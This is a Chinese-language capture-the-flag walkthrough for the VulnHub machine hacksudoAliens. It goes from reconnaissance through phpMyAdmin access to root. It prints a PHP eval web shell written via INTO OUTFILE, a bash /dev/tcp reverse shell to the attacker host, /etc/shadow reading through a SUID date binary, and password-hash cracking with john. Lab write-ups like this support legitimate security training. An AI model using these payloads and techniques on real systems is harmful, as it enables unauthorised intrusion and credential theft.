一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudoAliens(10.0.2.46)
目标:获取靶机root权限和flag
靶机下载地址:https://download.vulnhub.com/hacksudo/HacksudoAliens.zip
二、信息收集
使用nmap主机发现靶机ip:10.0.2.46
使用nmap端口扫描发现,靶机开放端口:22、80、9000
80端口:打开网站未发现可利用的功能点,查看源码也没有发现隐藏信息
直接使用gobuster工具进行目录爆破
gobuster dir -u http://10.0.2.46 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
查看爆破出来的目录,发现在backup
目录下存在mysql数据库备份文件
查看备份文件发现一组用户名密码
Database credentials
user=“vishal”
password=“hacksudo”
host=“localhost”
尝试使用用户名密码登录ssh,失败
9000端口:打开网站发现是phpMyAdmin控制台登录页面,直接使用备份文件发现的用户名密码登录,登陆成功
查看数据库,发现hacksudo库,但该数据库为空
在mysql->user表发现5个用户名和加密的密码
使用在线md5解密网站解密,可以尝试使用这些用户名密码登录ssh
shovon:123
hacksudo:123
root:hacksudo
phpmyadmin:root
经过尝试均失败
三、漏洞利用
可以尝试通过phpMyadmin后台获取shell
前提条件:
1)知道网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell,我们可以使用linux的默认网站路径尝试
2)读写权限。查询secure_file_priv参数,查看是否具有读写文件权限,若为NULL则没有办法写入shell
首先查询secure_file_priv,如果secure_file_priv为空,则不限制导入导出
show variables like "%secure%";
在SQL
执行select '<?php eval($_POST[1]); ?>' into outfile '/var/www/html/shell.php';
插入一句话木马
在浏览器尝试访问一句话木马,看看是否写入成功
直接使用蚁剑连接一句话木马
反弹shell
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
查看当前用户是否具有特权命令,或有可利用的具有root权限的二进制文件,发现/usr/bin/date
和/usr/lib/policykit-1/polkit-agent-helper-1
文件
sudo -l
find / -perm -u=s -type f 2>/dev/null
我们可以利用date文件读取root用户的文件,具体利用方法可以通过date | GTFOBins网站查找;polkit-agent-helper-1文件,该版本的polkit存在提权漏洞CVE-2021-4034,靶机没有gcc环境我们可以上传编译好的exp进行提权。
本次提权我们使用date文件进行利用
使用date读取/etc/shadow
文件,获取所有用户密码hash
LFILE=/etc/shadow
/usr/bin/date -f $LFILE
通过筛选,我们得到两个用户的密码hash值
root: 6 6 6N6p.dpWhPYXSXC9U$8EraUiQ5DtMF5ov2ZbnY8DoLK1liRukqhTnTTK67MQ.tgpglkVX/I9P1aYjNeO/cwjQk9lJ/ABd9YLTMeMSn3/:18721:0:99999:7:::
hacksudo: 6 6 6cOv4E/VKAe0EVwV4$YScCx10zfi7g4aiLY.qo8QPm2iOogJea41mk2rGk/0JM5AtnrmiyTN5ctNJ0KTLS5Iru4lHWYPug792u3L/Um1:18721:0:99999:7:::
将密码复制到passwd.txt文件,使用john工具进行爆破,爆破得到一组用户名密码:hacksudo:aliens
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
使用爆破得到的用户名密码登录ssh
hacksudo用户没有发现特权命令
可以翻一翻靶机上的各个文件,发现.bash_history文件执行了一些奇怪的命令
cat .bash_history
我们可以尝试执行看看,发现直接获取root权限
获取flag